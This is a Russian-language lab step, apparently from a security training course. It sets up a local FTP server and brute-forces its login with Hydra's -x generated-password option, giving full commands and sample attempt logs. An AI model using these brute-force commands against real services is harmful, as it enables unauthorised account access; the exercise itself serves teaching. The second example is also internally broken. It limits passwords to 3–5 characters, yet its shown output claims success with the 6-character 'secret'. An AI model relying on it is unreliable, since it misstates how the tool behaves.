Атака FTP сгенерированными паролями
В этом шаге вы будете использовать возможности Hydra по генерации паролей для атаки на тестовый FTP-сервер. Вы будете использовать список паролей, генерируемых "на лету" с помощью опции -x.
Сначала вам нужно настроить простой FTP-сервер для тестирования. Вы будете использовать python3-pyftpdlib, который является лёгкой библиотекой FTP-сервера для Python.
Установите python3-pyftpdlib, если она ещё не установлена:
sudo apt update
sudo apt install -y python3-pyftpdlib
Запустите FTP-сервер в фоновом режиме на порту 2121, обслуживая файлы из каталога ~/project. Опция -w разрешает запись.
nohup python3 -m pyftpdlib -p 2121 -w -u testuser -P secret ~/project > /dev/null 2>&1 &
Часть nohup ... & запускает команду в фоновом режиме и предотвращает её остановку при закрытии терминала. > /dev/null 2>&1 перенаправляет стандартный вывод и стандартную ошибку в /dev/null, сохраняя ваш терминал чистым. Опции -u testuser -P secret настраивают пользователя с паролем "secret", который может получить доступ к серверу.
Теперь вы будете использовать Hydra для атаки на этот FTP-сервер. Вы будете использовать опцию -x для генерации паролей и попытки входа как пользователя "testuser".
Выполните следующую команду в терминале:
hydra -l testuser -vV -x 4:6:a-z 127.0.0.1 ftp -s 2121
Давайте разберём эту команду:
hydra: Инструмент командной строки Hydra.
-l testuser: Указывает имя пользователя для использования: "testuser".
-vV: Включает подробный вывод, показывая каждую попытку входа.
-x 4:6:a-z: Это сообщает Hydra генерировать пароли с:
4: Минимальная длина 4 символа.
6: Максимальная длина 6 символов.
a-z: Используются только строчные буквы (a-z).
127.0.0.1: Целевой хост (localhost). Вы используете 127.0.0.1 вместо localhost, чтобы избежать потенциальных проблем с разрешением DNS внутри контейнера.
ftp: Сервис для атаки (FTP).
-s 2121: Указывает номер порта. Вы нацелены на FTP-сервер, работающий на порту 2121.
Вы должны увидеть, как Hydra пытается выполнить вход с сгенерированными паролями. Поскольку FTP-сервер настроен со специфическими учетными данными (имя пользователя: testuser, пароль: secret), Hydra найдёт правильный пароль, когда сгенерирует "secret" во время своих попыток brute-force.
Важно: Используйте Ctrl+C для остановки атаки, так как её выполнение может занять много времени.
Вывод будет показывать попытки входа и, в конечном итоге, сообщение об успешном входе.
Hydra v[...] (c) 2023 by van Hauser / THCO
...
[ATTEMPT] target 127.0.0.1:2121 service ftp on device eth0 - login testuser password aaaa
[ATTEMPT] target 127.0.0.1:2121 service ftp on device eth0 - login testuser password aaab
...
[2121][ftp] host: 127.0.0.1 login: testuser password: secret
Теперь давайте попробуем немного более сложный пример, объединив строчные буквы и цифры:
hydra -l testuser -vV -x 3:5:a-z0-9 127.0.0.1 ftp -s 2121
Это сгенерирует пароли, такие как "aaa", "aab", "aac" и так далее, систематически перебирая все комбинации из 3 символов сначала, затем из 4 символов и, наконец, из 5 символов. Наблюдайте за выводом, чтобы увидеть сгенерированные пароли и успешный вход.
Hydra v[...] (c) 2023 by van Hauser / THCO
...
[ATTEMPT] target 127.0.0.1:2121 service ftp on device eth0 - login testuser password aaa
[ATTEMPT] target 127.0.0.1:2121 service ftp on device eth0 - login testuser password aab
...
[2121][ftp] host: 127.0.0.1 login: testuser password: secret
Этот шаг продемонстрировал, как использовать Hydra с опцией -x для генерации паролей и атаки на FTP-сервер. Помните, что следует использовать эти методы ответственно и этично.